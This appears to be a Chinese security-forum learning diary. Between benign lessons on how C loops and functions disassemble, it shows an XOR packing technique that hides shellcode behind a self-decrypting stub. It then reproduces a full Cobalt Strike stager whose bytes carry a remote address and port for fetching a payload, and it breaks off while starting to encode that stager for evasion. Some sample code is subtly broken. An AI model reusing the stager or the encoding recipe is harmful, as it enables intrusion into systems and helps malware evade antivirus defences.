安全矩阵

 找回密码
 立即注册
搜索
查看: 5477|回复: 17

邓国健学习日记

[复制链接]

7

主题

23

帖子

111

积分

注册会员

Rank: 2

积分
111
发表于 2020-2-17 14:27:43 | 显示全部楼层 |阅读模式
利用xor给shellcode加壳首先看我们的shellcode,执行弹出cmd

#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"
char key=0x51;
char shellcode[]="\x8B\x45\xF4\x6A\x05\x50\xB8\xB0\xDA\x5B\x75\xFF\xD0";

int main(int argc, char* argv[])
{
        printf("begin\n");
    HINSTANCE libHandle;
        char *dll="kernel32.dll";
    libHandle=LoadLibrary(dll);
        char *str="cmd.exe";
       
        __asm{
                lea eax,shellcode
                call eax
        }
        return 0;
}


利用xor给shellcode加密,加密的程序为:

#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"
char key=0x51;
char shellcode[]="\x8B\x45\xF4\x6A\x05\x50\xB8\xB0\xDA\x5B\x75\xFF\xD0";

unsigned char decodeShellCode[200];

"\xda\x14\xa5\x3b\x54\x01\xe9\xe1\x8b\x0a\x24\xae\x81";

int main(int argc, char* argv[])
{
        printf("begin\n");
    HINSTANCE libHandle;
        char *dll="kernel32.dll";
    libHandle=LoadLibrary(dll);
        char *str="cmd.exe";
       
       
        int length=sizeof(shellcode)/sizeof(shellcode[0]);
        for (int i=0;i<length-1;i++)
        {       
                printf("\\x%0.2x",shellcode);
                decodeShellCode=shellcode^key;
                printf("\t");
                printf("\\x%0.2x",decodeShellCode);
                printf("\n");

        }


        return 0;
}




将shellcode加密,然后输出来,后面的是加密后的shellcode,将后面的粘贴复制到一个数组里

char encodeSC[]="\xda\x14\xa5\x3b\x54\x01\xe9\xe1\x8b\x0a\x24\xae\x81";
1
将加密的shellcode加载到内存里,然后动态在内存里改回来

先解密要执行的代码,然后再跳到解密后哪里执行加载整个shellcode到内存,前面专门解密后面的部分,再执行,就是加载整个外壳代码到内存,前面专门解密后面的部分,再执行

解密的程序为:

        __asm{
                add eax,24
                mov ecx,13
                xor edx,edx
decode:
                mov bl,byte ptr ds:[eax+edx]
                xor bl,51h
                mov byte ptr ds:[eax+edx],bl
                inc edx
                loop decode
        }

将这段程序反汇编,找出机器码
程序中24是这段机器码的长度,13是我们的shellcode长度
将机器码放到我们加密的shellcode前面

char decodeSC[]="\x83\xC0\x18\xB9\x0d\x00\x00\x00\x33\xD2\x3E\x8A\x1C\x10\x80\xF3\x51\x3E\x88\x1C\x10\x42\xE2\xF2"
"\xda\x14\xa5\x3b\x54\x01\xe9\xe1\x8b\x0a\x24\xae\x81";


最终程序

#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"
char key=0x51;
//char shellcode[]="\x8B\x45\xF4\x6A\x05\x50\xB8\xB0\xDA\x5B\x75\xFF\xD0";
//unsigned char decodeShellCode[200];
char decodeSC[]="\x83\xC0\x18\xB9\x0d\x00\x00\x00\x33\xD2\x3E\x8A\x1C\x10\x80\xF3\x51\x3E\x88\x1C\x10\x42\xE2\xF2"
"\xda\x14\xa5\x3b\x54\x01\xe9\xe1\x8b\x0a\x24\xae\x81";

int main(int argc, char* argv[])
{
        printf("begin\n");
    HINSTANCE libHandle;
        char *dll="kernel32.dll";
    libHandle=LoadLibrary(dll);
        char *str="cmd.exe";
        __asm{
                lea eax,decodeSC
                push eax

                ret         
        }
       

        return 0;
}




思路:

找出我们要执行的shellcode
利用xor给shellcode加密成encodeShellcode
再写个汇编,用于解密encodeShellcode,再写汇编时,要注意这个汇编产生的机器码长度(mov eax,24,24就是这个汇编机器码的长度)
找出汇编的机器码,放在加密的shelcode前面
将数组地址赋给eax,push eax,ret
建议反汇编的时候,一步步执行,我们就能看到动态修改加密后的shellcode了



回复

使用道具 举报

7

主题

23

帖子

111

积分

注册会员

Rank: 2

积分
111
 楼主| 发表于 2020-2-19 16:47:11 | 显示全部楼层
本帖最后由 DL_one 于 2020-2-19 16:51 编辑

利用kali的msf提取汇编机器码对于提取小段汇编的机器码,kali的msf提取汇编机器码非常方便
比如提取下面小段的汇编机器码
  1.   push 5                                ;5=SW_SHOW
  2.                 push eax
  3.                 mov eax,0x755bdab0
  4.                 call eax
复制代码

首先输入

  1. msf-nasm_shell        //注意msf和-之间没有空格
复制代码
然后依次输入命令


最后将得到的机器码将复制到一个文本编辑器里,提取


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

7

主题

23

帖子

111

积分

注册会员

Rank: 2

积分
111
 楼主| 发表于 2020-2-22 21:14:48 | 显示全部楼层
本帖最后由 DL_one 于 2020-2-22 21:28 编辑

循环学习

环境:VC++



1、while循环

C程序:

  1. #include "stdio.h"

  2. int main()
  3. {
  4.         int i=1,sum=0;
  5.         while(i<=100){
  6.                 sum+=i;
  7.                 i++;
  8.         }
  9.         printf("%d\n",sum);
  10.         return 0;
  11. }
复制代码
用while计算1到100的值,功能很简单,让我们看看反汇编
首先在main函数的入口,看到rep stos 忘记具体功能了,百度之后了解了



  1. 0040101C B9 12 00 00 00       mov         ecx,12h
  2. 00401021 B8 CC CC CC CC       mov         eax,0CCCCCCCCh
  3. 00401026 F3 AB                rep stos    dword ptr [edi]
复制代码




rep指令:重复stos dword ptr [edi]指令.ECX的值是重复的次数,每次ECX都会减一,到0就不执行了
stos:将eax中的值拷贝到ES:EDI指向的地址,也就是上面的dword ptr [edi]
es:附加段寄存器,存放当前执行程序中一个辅助数据段的段地址
我们利用VC++反汇编可以查看一下,当执行了一次rep stos dword ptr [edi]命令后
ES:EDI指向的地址内容的变化


while的反汇编程序:
  1. 5:        int i=1,sum=0;
  2. 00401028 C7 45 FC 01 00 00 00 mov         dword ptr [ebp-4],1 //栈中[ebp-4]的值为1
  3. 0040102F C7 45 F8 00 00 00 00 mov         dword ptr [ebp-8],0//栈中[ebp-8]的值为0
  4. 6:        while(i<=100){
  5. 00401036 83 7D FC 64          cmp         dword ptr [ebp-4],64h //比较i和100的值
  6. 0040103A 7F 14                jg          main+40h (00401050)        //大于跳转到00401050执行
  7. 7:            sum+=i;
  8. 0040103C 8B 45 F8             mov         eax,dword ptr [ebp-8]                
  9. 0040103F 03 45 FC             add         eax,dword ptr [ebp-4]        //相加
  10. 00401042 89 45 F8             mov         dword ptr [ebp-8],eax //[ebp-8]相当于sum
  11. 8:            i++;
  12. 00401045 8B 4D FC             mov         ecx,dword ptr [ebp-4]
  13. 00401048 83 C1 01             add         ecx,1
  14. 0040104B 89 4D FC             mov         dword ptr [ebp-4],ecx
  15. 9:        }
  16. 0040104E EB E6                jmp         main+26h (00401036)         //执行100次之后跳转到00401036执行
  17. 10:       printf("%d\n",sum);
  18. 00401050 8B 55 F8             mov         edx,dword ptr [ebp-8]
  19. 00401053 52                   push        edx
  20. 00401054 68 1C 20 42 00       push        offset string "%d" (0042201c)
  21. 00401059 E8 32 00 00 00       call        printf (00401090)
  22. 0040105E 83 C4 08             add         esp,8
复制代码
汇编实现:

  1. #include "stdio.h"

  2. int main()
  3. {
  4.         /*
  5.         int i=1,sum=0;
  6.         while(i<=100){
  7.                 sum+=i;
  8.                 i++;
  9.         }
  10.         printf("%d\n",sum);
  11.         */
  12.         char *str="sum=%d\n";
  13.         __asm{
  14.                 mov eax,1
  15.                 mov        ebx,0
  16.                 mov ecx,1

  17. sum        :        cmp ecx,100
  18.                 jg end
  19.                 add ebx,eax
  20.                 inc eax
  21.                 inc ecx
  22.                 jmp sum

  23. end :        push ebx
  24.                 push str
  25.                 call printf
  26.                 add esp,8
  27.         }
  28.         return 0;

  29. }
复制代码
2、for循环



for循环有三个表达式,第一个表达式是初始化,在for循环之前执行一次,后面就不执行了,第二个是循环条件,

在执行循环体之前求值,如果为真,执行循环体,如果为假,循环结束,第三个是执行更新,

在每次执行完循环体后执行。下面用个简单的程序来研究for循环的反汇编

  1. #include "stdio.h"

  2. int main()
  3. {
  4.         int sum=0;
  5.         for(int i=1;i<=100;i++)
  6.         {
  7.                 sum+=i;
  8.         }
  9.         printf("sum=%d\n",sum);
  10.         return 0;
  11. }
复制代码


反汇编

  1. 5:        int sum=0;
  2. 00401028 C7 45 FC 00 00 00 00 mov         dword ptr [ebp-4],0
  3. 6:        for(int i=1;i<=100;i++)
  4. 0040102F C7 45 F8 01 00 00 00 mov         dword ptr [ebp-8],1
  5. 00401036 EB 09                jmp         main+31h (00401041)
  6. 00401038 8B 45 F8             mov         eax,dword ptr [ebp-8]
  7. 0040103B 83 C0 01             add         eax,1
  8. 0040103E 89 45 F8             mov         dword ptr [ebp-8],eax
  9. 00401041 83 7D F8 64          cmp         dword ptr [ebp-8],64h
  10. 00401045 7F 0B                jg          main+42h (00401052)
  11. 7:        {
  12. 8:            sum+=i;
  13. 00401047 8B 4D FC             mov         ecx,dword ptr [ebp-4]
  14. 0040104A 03 4D F8             add         ecx,dword ptr [ebp-8]
  15. 0040104D 89 4D FC             mov         dword ptr [ebp-4],ecx
  16. 9:        }
  17. 00401050 EB E6                jmp         main+28h (00401038)
  18. 10:       printf("sum=%d\n",sum);
  19. 00401052 8B 55 FC             mov         edx,dword ptr [ebp-4]
  20. 00401055 52                   push        edx
  21. 00401056 68 1C 20 42 00       push        offset string "sum=%d\n" (0042201c)
  22. 0040105B E8 30 00 00 00       call        printf (00401090)
  23. 00401060 83 C4 08             add         esp,8
  24. 11:       return 0;
  25. 00401063 33 C0                xor         eax,eax
  26. 12:   }
复制代码
从上面的程序我们可以看出mov dword ptr [ebp-8],1相当于int i =1;从反汇编的角度看,这个也执行了一次,按照for循环的执行过程,接下来应该是i<=100,上面反汇编对应程序:

  1. 00401041 83 7D F8 64          cmp         dword ptr [ebp-8],64h
  2. 00401045 7F 0B                jg          main+42h (00401052)
复制代码
比较i和100,如果大于,则跳到00401052执行,跳出循环,如果为小于等于,则执行

  1. 00401047 8B 4D FC             mov         ecx,dword ptr [ebp-4]
  2. 0040104A 03 4D F8             add         ecx,dword ptr [ebp-8]
  3. 0040104D 89 4D FC             mov         dword ptr [ebp-4],ecx
复制代码
相当于 sum+=i;
循环体执行完就应该执行`i++了,jmp调到00401038执行

  1. 00401038 8B 45 F8             mov         eax,dword ptr [ebp-8]
  2. 0040103B 83 C0 01             add         eax,1
  3. 0040103E 89 45 F8             mov         dword ptr [ebp-8],eax
复制代码
这个就相当于i++,接着执行i<=100,循环下去。

C和汇编代码:

  1. #include "stdio.h"

  2. int main()
  3. {
  4.         char *str="sum=%d\n";
  5.         __asm{
  6.                 //相当于int sum=0;
  7.                 mov ebx,0
  8.                 //相当于 int i=1
  9.                 mov eax,1
  10.                
  11.                 //相当于i<=100
  12. ee:                cmp eax,100
  13.                 jg end
  14.                 //相当于 sum+=i
  15.                 add ebx,eax
  16.                 //相当于 i++
  17.                 inc eax
  18.                 jmp ee
  19.                
  20.                 //相当于 printf
  21. end:        push ebx
  22.                 push str
  23.                 call printf
  24.                 add esp,8

  25.                
  26.         }
  27.         return 0;
  28. }
复制代码


3、do while

do while 会先执行do里面的循环体,执行完去执行while的条件判断,如果为真,继续执行do里面的循环体,如果为假,则结束循环

  1. #include "stdio.h"
  2. int main()
  3. {
  4.         int i=1,sum=0;
  5.         do{
  6.                 sum+=i;
  7.                 i++;
  8.         }while(i<=100);
  9.         printf("sum=%d\n",sum);
  10.         return 0;
  11. }
复制代码
上面先执行sum+=i;i++;,接着执行i<=100,如果为true,则继续执行do循环,否则,结束循环。
反汇编:

  1. 5:        int i=1,sum=0;
  2. 00401028 C7 45 FC 01 00 00 00 mov         dword ptr [ebp-4],1
  3. 0040102F C7 45 F8 00 00 00 00 mov         dword ptr [ebp-8],0
  4. 6:        do{
  5. 7:            sum+=i;
  6. 00401036 8B 45 F8             mov         eax,dword ptr [ebp-8]
  7. 00401039 03 45 FC             add         eax,dword ptr [ebp-4]
  8. 0040103C 89 45 F8             mov         dword ptr [ebp-8],eax
  9. 8:            i++;
  10. 0040103F 8B 4D FC             mov         ecx,dword ptr [ebp-4]
  11. 00401042 83 C1 01             add         ecx,1
  12. 00401045 89 4D FC             mov         dword ptr [ebp-4],ecx
  13. 9:        }while(i<=100);
  14. 00401048 83 7D FC 64          cmp         dword ptr [ebp-4],64h
  15. 0040104C 7E E8                jle         main+26h (00401036)
  16. 10:       printf("sum=%d\n",sum);
  17. 0040104E 8B 55 F8             mov         edx,dword ptr [ebp-8]
  18. 00401051 52                   push        edx
  19. 00401052 68 1C 20 42 00       push        offset string "sum=%d\n" (0042201c)
  20. 00401057 E8 34 00 00 00       call        printf (00401090)
  21. 0040105C 83 C4 08             add         esp,8
  22. 11:       return 0;
  23. 0040105F 33 C0                xor         eax,eax
  24. 12:   }

复制代码
从上面的程序我们可以看出,sum+=i就是

  1. 00401036 8B 45 F8             mov         eax,dword ptr [ebp-8]
  2. 00401039 03 45 FC             add         eax,dword ptr [ebp-4]
  3. 0040103C 89 45 F8             mov         dword ptr [ebp-8],eax
复制代码
i++就是:

  1. 0040103F 8B 4D FC             mov         ecx,dword ptr [ebp-4]
  2. 00401042 83 C1 01             add         ecx,1
  3. 00401045 89 4D FC             mov         dword ptr [ebp-4],ecx
复制代码
汇编执行完这几条语句,就去执行

  1. 00401048 83 7D FC 64          cmp         dword ptr [ebp-4],64h
  2. 0040104C 7E E8                jle         main+26h (00401036)
复制代码


比较[ebp-4]和100的大小,如果小于等于就跳转到00401036执行,否则往下执行,相当于C中i<=100,如果小于等于,继续执行循环体,否则结束
C和混编混合编程:

  1. #include "stdio.h"

  2. int main()
  3. {
  4.         /*
  5.         int i=1,sum=0;
  6.         do{
  7.                 sum+=i;
  8.                 i++;
  9.         }while(i<=100);
  10.         printf("sum=%d\n",sum);
  11.         */
  12.         char *str="sum=%d\n";
  13.         __asm{
  14.                 //相当于 int i=1,sum=0
  15.                 mov eax,1
  16.                 mov ebx,0
  17.                
  18.                 //相当于 sum+=i
  19. ee:                add ebx,eax
  20.                 //相当于 i++
  21.                 inc eax
  22.                 //相当于while(i<=100)
  23.                 cmp eax,100
  24.                 jle ee
  25.                
  26.                 //相当于printf
  27.                 push ebx
  28.                 push str
  29.                 call printf
  30.                 add esp,8

  31.         }
  32.         return 0;
  33. }
复制代码














回复

使用道具 举报

7

主题

23

帖子

111

积分

注册会员

Rank: 2

积分
111
 楼主| 发表于 2020-2-24 16:05:50 | 显示全部楼层
本帖最后由 DL_one 于 2020-2-24 16:12 编辑

函数用法


环境:VC++

作用:
函数是完成特定任务的独立程序代码单元

1、创建和使用函数

函数原型:声明函数是什么类型,指明函数的返回值和函数接收的参数类型,函数和变量一样,有多种类型,任何程序在使用函数之前都要声明该函数的类型

函数调用:表明在此处执行函数,执行到函数调用的语句时,程序会找到该函数的定义并执行其中的内容,执行完返回调用函数继续执行下一行

函数定义:详细说明函数要干啥

  1. #include "stdio.h"

  2. int add(int a,int b);        //函数原型

  3. int main(void)
  4. {
  5.         int a=1,b=1,sum=0;
  6.         sum=add(a,b);                //函数调用
  7.         printf("sum=%d\n",sum);
  8.         return 0;
  9. }

  10. //函数定义
  11. int add(int a,int b)
  12. {
  13.         return a+b;
  14. }
复制代码

我们看看反汇编

函数原型:

函数原型这里没有生成机器码,这个是给编译器看得,告诉编译器这个函数的返回值和函数接收的参数类型,并在别处查看该函数类型,机器码是给CPU执行的,所以CPU执行到这里,不会干任何事情

函数调用:

  1. 8:        sum=add(a,b);       //函数调用
  2. 0040104D 8B 45 F8             mov         eax,dword ptr [ebp-8]
  3. 00401050 50                   push        eax
  4. 00401051 8B 4D FC             mov         ecx,dword ptr [ebp-4]
  5. 00401054 51                   push        ecx
  6. 00401055 E8 AB FF FF FF       call        @ILT+0(add) (00401005)
  7. 0040105A 83 C4 08             add         esp,8
  8. 0040105D 89 45 F4             mov         dword ptr [ebp-0Ch],eax
复制代码

函数调用之前,我们可以看到会先把参数存放到栈里面,也就是a,b的值,然后到00401005地址执行,这个地址有个jmp语句,会跳转到函数的定义出执行

函数定义:

  1. 13:   //函数定义
  2. 14:   int add(int a,int b)
  3. 15:   {
  4. 004010A0 55                   push        ebp
  5. 004010A1 8B EC                mov         ebp,esp
  6. 004010A3 83 EC 40             sub         esp,40h
  7. 004010A6 53                   push        ebx
  8. 004010A7 56                   push        esi
  9. 004010A8 57                   push        edi
  10. 004010A9 8D 7D C0             lea         edi,[ebp-40h]
  11. 004010AC B9 10 00 00 00       mov         ecx,10h
  12. 004010B1 B8 CC CC CC CC       mov         eax,0CCCCCCCCh
  13. 004010B6 F3 AB                rep stos    dword ptr [edi]
  14. 16:       return a+b;
  15. 004010B8 8B 45 08             mov         eax,dword ptr [ebp+8]
  16. 004010BB 03 45 0C             add         eax,dword ptr [ebp+0Ch]
  17. 17:   }
  18. 004010BE 5F                   pop         edi
  19. 004010BF 5E                   pop         esi
  20. 004010C0 5B                   pop         ebx
  21. 004010C1 8B E5                mov         esp,ebp
  22. 004010C3 5D                   pop         ebp
  23. 004010C4 C3                   ret
复制代码

从上面的程序我们可以看出,函数定义会先把esp存放到栈里面,然后把esp的值给ebp,接着开辟一个40h的栈,然后把ebx、 esi、 edi存放到栈里面,接着在一些连续地址存放0CCCCCCCCh,把这些做好后,再执行函数定义里的语句。

  1. 16:       return a+b;
  2. 004010B8 8B 45 08             mov         eax,dword ptr [ebp+8]
  3. 004010BB 03 45 0C             add         eax,dword ptr [ebp+0Ch]
复制代码

我们看看函数的最后

  1. 004010BE 5F                   pop         edi
  2. 004010BF 5E                   pop         esi
  3. 004010C0 5B                   pop         ebx
  4. 004010C1 8B E5                mov         esp,ebp
  5. 004010C3 5D                   pop         ebp
  6. 004010C4 C3                   ret
复制代码

函数的最后,把函数开始存放这些寄存器的内容又给了他们,ebp的值给esp,ebp恢复函数之前的ebp,接着返回。与函数调用的作用是一样的

函数的作用只完成特定任务,其他什么都没变,从函数调用到函数定义,最后返回,看起来是只对了a和b的值进行了操作,其他啥都没变

总结:

函数原型没有生成机器码,告诉编译器我的参数是那些和返回值是那些,函数调用会把参数先压入栈,接着执行call到一个地址执行,这个地址有一个jmp命令,会到函数定义出执行,函数定义会先把一些寄存器先压入栈,然后给一些内存赋值,在最后又会把这些寄存器给弹出,恢复成原值,执行ret命令,返回调用函数继续执行下一行。

2、传值和传址的区别

首先我们要认识几个小知识

  • &运算符:取变量的存储地址
  • *间接运算符:取存储在指针指向地址上的值,也可以用来声明指针
  • 声明指针变量:类型 * 变量名,声明指针变量必须指定指针所指向变量的类型,因为不同变量类型占用不同的存储空间
  1. #include "stdio.h"

  2. int add1(int a,int b);        //函数原型
  3. int add2(int *a,int *b);        //函数原型
  4. int main(void)
  5. {
  6.         int a=1,b=1,sum1,sum2;
  7.         sum1=add1(a,b);                //函数调用
  8.         printf("sum1=%d\n",sum1);
  9.         sum2=add2(&a,&b);                //函数调用
  10.         printf("sum2=%d\n",sum2);
  11.         return 0;
  12. }

  13. //函数定义
  14. int add1(int a,int b)
  15. {
  16.         return a+b;
  17. }

  18. int add2(int *a,int *b)
  19. {
  20.         return *a+*b;
  21. }
复制代码
传值:
  1. 8:        sum1=add1(a,b);     //函数调用
  2. 0040D786 8B 45 F8             mov         eax,dword ptr [ebp-8]
  3. 0040D789 50                   push        eax
  4. 0040D78A 8B 4D FC             mov         ecx,dword ptr [ebp-4]
  5. 0040D78D 51                   push        ecx
  6. 0040D78E E8 7C 38 FF FF       call        @ILT+10(add) (0040100f)
  7. 0040D793 83 C4 08             add         esp,8
  8. 0040D796 89 45 F4             mov         dword ptr [ebp-0Ch],eax
复制代码
值传给eax寄存器,然后入栈
传址:
  1. 10:       sum2=add2(&a,&b);       //函数调用
  2. 0040D7AA 8D 45 F8             lea         eax,[ebp-8]
  3. 0040D7AD 50                   push        eax
  4. 0040D7AE 8D 4D FC             lea         ecx,[ebp-4]
  5. 0040D7B1 51                   push        ecx
  6. 0040D7B2 E8 5D 38 FF FF       call        @ILT+15(add2) (00401014)
  7. 0040D7B7 83 C4 08             add         esp,8
  8. 0040D7BA 89 45 F0             mov         dword ptr [ebp-10h],eax
复制代码
把地址传给eax,然后入栈
我们知道传值不可以修改变量的值,而传址却可以,从汇编角度看,我们可以更加的清晰明白,传值只是将值传过去了,函数调用是去函数定义处执行,不知道变量在哪里,所以没办法修改,传地址到函数定义时就知道变量的地址在哪里了,所以能修改变量得内容


回复

使用道具 举报

7

主题

23

帖子

111

积分

注册会员

Rank: 2

积分
111
 楼主| 发表于 2020-2-24 23:41:52 | 显示全部楼层
本帖最后由 DL_one 于 2020-2-24 23:46 编辑

cobaltstrike生成一个原生c,然后利用xor加密解密执行

首先cobaltstrike生成一个原生c,我的是:


  1. /* length: 797 bytes */
  2. unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c"
  3. "\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
  4. "\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01"
  5. "\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac"
  6. "\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3"
  7. "\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
  8. "\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68"
  9. "\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00"
  10. "\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xbb\x01\x00\x00\x53\x50\x68\x57\x89\x9f\xc6"
  11. "\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e"
  12. "\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5"
  13. "\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d"
  14. "\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0"
  15. "\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00"
  16. "\x00\xe8\x8b\xff\xff\xff\x2f\x71\x41\x52\x58\x00\xb5\x37\x71\xcd\x36\x1c\x5b\x6d\xa8\x2c\x36"
  17. "\xd0\xfa\x3d\x5b\xe2\x82\xa5\x4f\xbe\x67\xf0\x92\x6c\xec\x22\x6f\xa0\x68\x22\x94\x31\xb9\x81"
  18. "\xf5\xfe\x68\x06\x04\x1a\xbc\xcf\xa5\xdc\xfd\xa0\x49\x31\xa4\x74\x12\xb4\x15\x76\x48\xf2\x81"
  19. "\x6a\xfb\x01\x82\x94\x61\x1e\x40\x85\x2d\x31\x06\x2d\x62\x22\xfa\x00\x55\x73\x65\x72\x2d\x41"
  20. "\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70"
  21. "\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f"
  22. "\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b"
  23. "\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x31\x2e\x31\x2e\x34\x33\x32\x32\x3b\x20\x42\x4f\x49"
  24. "\x45\x38\x3b\x45\x4e\x55\x53\x29\x0d\x0a\x00\x97\xd8\x20\x60\x52\xa4\x8b\xc5\x6b\xbc\xb7\xfc"
  25. "\xa8\xd8\x88\x4c\xf9\xa7\x49\x83\x03\x49\x1b\x4d\x3b\xfa\x0d\x33\xf2\x44\xfc\x58\x69\x9f\xbb"
  26. "\xe1\xbb\xe4\x30\x00\xd5\x64\x33\xea\x9b\x04\x7d\xc4\x36\xde\xcb\x60\xdb\xf2\x7c\x85\xa5\xfe"
  27. "\xfc\xaa\x17\x66\xc5\x6d\xaa\xda\x01\xec\x03\xad\xa1\x26\xe0\x12\xfb\xe1\x55\xa6\x38\xd8\xf9"
  28. "\x61\x0b\x27\x58\xca\xae\xc5\xf1\x07\x6b\xcb\xd6\x46\x5a\xe4\x50\x14\x1b\x38\xe0\xda\x62\x8c"
  29. "\x6e\xb8\xa7\x13\x87\x89\x02\x8e\x08\xb4\xd8\x52\xdc\x3e\x67\xde\xf5\x70\xb5\xee\x81\x96\x42"
  30. "\x82\x2b\x96\xbb\x35\x30\x6d\x01\x59\xec\x98\xe6\x76\x21\x13\xe7\x4d\x8f\x4f\xb3\xf1\x89\x53"
  31. "\xd3\xc4\xa6\xa3\xdf\x99\xf9\x80\x65\x8d\x5d\x30\x9d\xf7\x1a\x32\xd6\xfb\xb8\xf6\x59\x46\x26"
  32. "\xe1\x2c\xc8\xa8\xe8\x4b\x7c\x3d\x97\x59\x50\xd7\x93\x11\xe1\xd3\xcf\x9f\x08\x22\x9b\x00\x68"
  33. "\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53"
  34. "\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56"
  35. "\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9"
  36. "\xfd\xff\xff\x34\x37\x2e\x39\x34\x2e\x32\x34\x32\x2e\x31\x36\x00\x6f\xaa\x51\xc3";

复制代码
找一个key进行异或,我找的是0x47,怎么找shellcode里没有的呢?将我们的shellcode复制到一个文本编辑器里,然后利用查询,从01开始一直搜,直到找到我们想要的。
对我们的shellcode进行编码,由于shellcode内容过多,我编码后存放到一个文件里了,编码程序:
  1. #include "stdlib.h"
  2. #include "stdio.h"
  3. #include "string.h"

  4. char key=0x47;

  5. /* length: 797 bytes */
  6. unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c"
  7. "\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
  8. "\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01"
  9. "\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac"
  10. "\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3"
  11. "\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
  12. "\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68"
  13. "\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00"
  14. "\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xbb\x01\x00\x00\x53\x50\x68\x57\x89\x9f\xc6"
  15. "\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e"
  16. "\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5"
  17. "\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d"
  18. "\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0"
  19. "\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00"
  20. "\x00\xe8\x8b\xff\xff\xff\x2f\x71\x41\x52\x58\x00\xb5\x37\x71\xcd\x36\x1c\x5b\x6d\xa8\x2c\x36"
  21. "\xd0\xfa\x3d\x5b\xe2\x82\xa5\x4f\xbe\x67\xf0\x92\x6c\xec\x22\x6f\xa0\x68\x22\x94\x31\xb9\x81"
  22. "\xf5\xfe\x68\x06\x04\x1a\xbc\xcf\xa5\xdc\xfd\xa0\x49\x31\xa4\x74\x12\xb4\x15\x76\x48\xf2\x81"
